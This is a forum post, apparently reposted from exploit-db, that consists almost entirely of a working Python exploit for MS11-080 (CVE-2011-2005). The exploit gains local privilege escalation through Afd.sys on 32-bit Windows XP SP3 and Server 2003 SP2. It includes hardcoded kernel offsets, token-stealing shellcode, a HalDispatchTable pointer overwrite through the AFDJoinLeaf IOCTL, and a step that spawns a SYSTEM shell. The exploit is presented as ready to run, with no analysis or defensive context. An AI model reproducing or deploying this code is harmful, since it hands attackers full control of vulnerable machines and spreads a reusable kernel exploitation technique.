Nytro Posted December 1, 2011 Report Posted December 1, 2011 MS11-080 Afd.sys Privilege Escalation Exploit ######################################################################################### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ################# Author: ryujin@offsec.com - Matteo Memelli ################# Spaghetti & Pwnsauce ################# yuck! 0xbaadf00d Elwood@mac&cheese.com ################# ################# Thx to dookie(lifesaver)2000ca, dijital1 and ronin ################# for helping out! ################# ################# To my Master Shifu muts: ################# "So that's it, I just need inner peace?" ################# ################# Exploit tested on the following 32bits systems: ################# Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng ########################################################################################from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER, c_char, c_short, c_ushort, c_int, c_uint, c_ulong, c_void_p, c_long, c_char_p)from ctypes.wintypes import HANDLE, DWORDimport socket, time, os, struct, sysfrom optparse import OptionParserusage = "%prog -O TARGET_OS"parser = OptionParser(usage=usage)parser.add_option("-O", "--target-os", type="string", action="store", dest="target_os", help="Target OS. Accepted values: XP, 2K3")(options, args) = parser.parse_args()OS = options.target_osif not OS or OS.upper() not in ['XP','2K3']: parser.print_help() sys.exit()OS = OS.upper()kernel32 = windll.kernel32ntdll = windll.ntdllPsapi = windll.Psapidef findSysBase(drvname=None): ARRAY_SIZE = 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[+] Retrieving %s info..." % drvname print "[+] %s base address: %s" % (drvname, hex(baseaddy)) return baseaddy else: if drivername.value.lower().find("krnl") !=-1: print "[+] Retrieving Kernel info..." print "[+] Kernel version:", drivername.value print "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value) return Noneprint "[>] MS11-080 Privilege Escalation Exploit"print "[>] Matteo Memelli - ryujin@offsec.com"print "[>] Release Date 28/11/2011"WSAGetLastError = windll.Ws2_32.WSAGetLastErrorWSAGetLastError.argtypes = ()WSAGetLastError.restype = c_intSOCKET = c_intWSASocket = windll.Ws2_32.WSASocketAWSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)WSASocket.restype = SOCKETclosesocket = windll.Ws2_32.closesocketclosesocket.argtypes = (SOCKET,)closesocket.restype = c_intconnect = windll.Ws2_32.connectconnect.argtypes = (SOCKET, c_void_p, c_int)connect.restype = c_intclass sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ]## Create our deviceiocontrol socket handleclient = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)if client == ~0: raise OSError, "WSASocket: %s" % (WSAGetLastError(),)try: addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(4455) addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1 ## We need to connect to a closed port, socket state must be CONNECTING connect(client, byref(addr), sizeof(addr))except: closesocket(client) raisebaseadd = c_int(0x1001)MEMRES = (0x1000 | 0x2000)PAGEEXE = 0x00000040Zerobits = c_int(0)RegionSize = c_int(0x1000)written = c_int(0)## This will trigger the path to AfdRestartJoinirpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42" "\x00\x00\x00\x00\x44\x44\x44\x44" "\x01\x00\x00\x00" "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)## Allocate space for the input bufferdwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE)# Copy input buffer to itkernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))startPage = c_int(0x00020000)kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))################################# KERNEL INFO ##################################lpDriver = c_char_p()lpPath = c_char_p()lpDrvAddress = c_long()(krnlbase, kernelver) = findSysBase()hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")HalDispatchTable -= hKernelHalDispatchTable += krnlbaseprint "[+] HalDispatchTable address:", hex(HalDispatchTable)halbase = findSysBase("hal.dll")## WinXP SP3if OS == "XP": HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3 HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3## Win2k3 SP2else: HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3 HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)################################# EXPLOITATION #################################shellcode_address_dep = 0x0002071eshellcode_address_nodep = 0x000207b8padding = "\x90"*2HalDispatchTable0x4 = HalDispatchTable + 0x4HalDispatchTable0x8 = HalDispatchTable + 0x8## tokenbkaddr = 0x00020900if OS == "XP": _KPROCESS = "\x44" _TOKEN = "\xc8" _UPID = "\x84" _APLINKS = "\x88"else: _KPROCESS = "\x38" _TOKEN = "\xd8" _UPID = "\x94" _APLINKS = "\x98"restore_ptrs = "\x31\xc0" + \ "\xb8" + struct.pack("L", HalpSetSystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x8) + \ "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x4)tokenstealing = "\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x89\x1d\x00\x09\x02\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5b" +\ "\x5a" +\ "\xc2\x10"restore_token = "\x52" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\x15\x00\x09\x02\x00" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5a" +\ "\xc2\x10"shellcode = padding + restore_ptrs + tokenstealingshellcode_size = len(shellcode)orig_size = shellcode_size# Write shellcode in userspace (dep)kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written))# Write shellcode in userspace *(nodep)kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written))## Trigger Pointer Overwriteprint "[*] Triggering AFDJoinLeaf pointer overwrite..."IOCTL = 0x000120bb # AFDJoinLeafinputbuffer = 0x1004inputbuffer_size = 0x108outputbuffer_size = 0x0 # Bypass Probe for Writeoutputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1IoStatusBlock = c_ulong()NTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size )## Trigger shellcodeinp = c_ulong()out = c_ulong()inp = 0x1337hola = ntdll.NtQueryIntervalProfile(inp, byref(out))## Spawn a system shell, w00t!print "[*] Spawning a SYSTEM shell..."os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")############################## POST EXPLOITATION ###############################print "[*] Restoring token..."## Restore the thingieshellcode = padding + restore_ptrs + restore_tokenshellcode_size = len(shellcode)trail_padding = (orig_size - shellcode_size) * "\x00"shellcode += trail_paddingshellcode_size += (orig_size - shellcode_size)## Write restore shellcode in userspace (dep)kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written))## Write restore shellcode in userspace (nodep)kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written))## Overwrite HalDispatchTable once againNTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size )## Trigger restore shellcodehola = ntdll.NtQueryIntervalProfile(inp, byref(out))print "[+] Restore done! Have a nice day :)"Sursa: http://www.exploit-db.com/exploits/18176/ Quote